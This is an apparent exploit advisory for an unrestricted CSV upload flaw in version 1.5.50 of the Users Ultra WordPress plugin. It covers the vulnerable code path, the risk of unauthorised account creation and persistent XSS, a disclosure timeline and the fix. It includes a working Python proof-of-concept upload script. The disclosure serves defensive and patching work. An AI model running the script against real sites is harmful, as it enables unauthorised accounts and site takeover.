WordPress Users Ultra 1.5.50 Unrestricted File Upload

`* Exploit Title: WordPress Users Ultra Plugin [Unrestricted File Upload]  
* Discovery Date: 2015/10/27  
* Public Disclosure Date: 2015/12/01  
* Exploit Author: Panagiotis Vagenas  
* Contact: https://twitter.com/panVagenas  
* Vendor Homepage: http://usersultra.com  
* Software Link: https://wordpress.org/plugins/users-ultra/  
* Version: 1.5.50  
* Tested on: WordPress 4.3.1  
* Category: webapps  
  
Description  
================================================================================  
  
WordPress plugin `Users Ultra Plugin` suffers for an unrestricted file upload vulnerability.  
  
Any user (registered or not) can exploit a misbehavior of the plugin in order to upload csv files to the infected website. Although the plugin checks file extension using an extensions white-list (in this case only csv files are white-listed), no other checks (mime, size etc) are taking place. This alone can expose the infected website to a variety of attacks, please see [OWASP Unrestricted File Upload](https://www.owasp.org/index.php/Unrestricted_File_Upload) to get an idea.  
  
Details  
================================================================================  
  
The plugin workflow that could allow a malicious user to exploit this misbehavior is as follows:  
  
1. Upon initialization of the plugin (anytime if it is activated) an instance of `XooUserUser` class is created  
2. In the constructor of `XooUserUser` class a check for POST variable `uultra-form-cvs-form-conf` is taking place  
file `wp-content/plugins/users-ultra/xooclasses/xoo.userultra.user.php` lines 19-23  
```php  
if (isset($_POST['uultra-form-cvs-form-conf']))   
{  
/* Let's Update the Profile */  
$this->process_cvs($_FILES);   
}  
```  
3. Assuming the POST variable `uultra-form-cvs-form-conf` has been set in the request, the method `XooUserUser::process_cvs()` is called.  
4. `XooUserUser::process_cvs()` method process every file in $_FILES super-global by only making a check if the file has a `csv` extension  
  
In addition we mark the following points:  
  
1. A malicious user can create and activate user accounts by exploiting this vulnerability if `$_POST["uultra-activate-account"]` is set to `active`  
2. A welcome email is send if `$_POST["uultra-send-welcome-email"]` is set to 1  
3. The csv files uploaded to the server are stored in a directory (`wp-content/usersultramedia/import` by default) accessible by anyone  
4. Any additional columns present in the csv file are stored in `usermeta`  
5. No sanitization for values in csv file can easily lead to a Persistent XSS attack, so an attacker can compromise the whole site  
  
PoC  
================================================================================  
  
The following Python3 script forms a csv file and uploads it to a site  
  
```python3  
#!/usr/bin/python3  
import requests  
import csv  
import tempfile  
  
url = 'http://example.com/'  
  
postData = {  
'uultra-form-cvs-form-conf': 1,  
'uultra-send-welcome-email': 1,  
'uultra-activate-account': 'pending'  
}  
  
csvFileHeader = ['user name', 'email', 'display name', 'registration date', 'first name', 'last name', 'age', 'country']  
csvFileRow = ['userName', '[email protected]', 'User Name', '1/1/1', 'User', 'Name', '100', 'IO']  
  
csvFile = tempfile.NamedTemporaryFile(mode='a+t', suffix='.csv')  
  
wr = csv.writer(csvFile, quoting=csv.QUOTE_ALL, delimiter=',')  
  
wr.writerow(csvFileHeader)  
wr.writerow(csvFileRow)  
  
csvFile.seek(0)  
  
files = {'file.csv': csvFile}  
  
r = requests.post(url, data=postData, files=files)  
  
exit(0)  
```  
  
Timeline  
================================================================================  
  
2015/10/29 - Vendor notified via email  
2015/11/11 - Vendor notified via contact form in his website  
2015/11/13 - Vendor notified via support forums at wordpress.org  
2015/11/14 - Vendor responded and received report through email  
2015/11/15 - Vendor responded  
2015/11/15 - Patch released  
  
Solution  
================================================================================  
  
Update to version 1.5.59  
`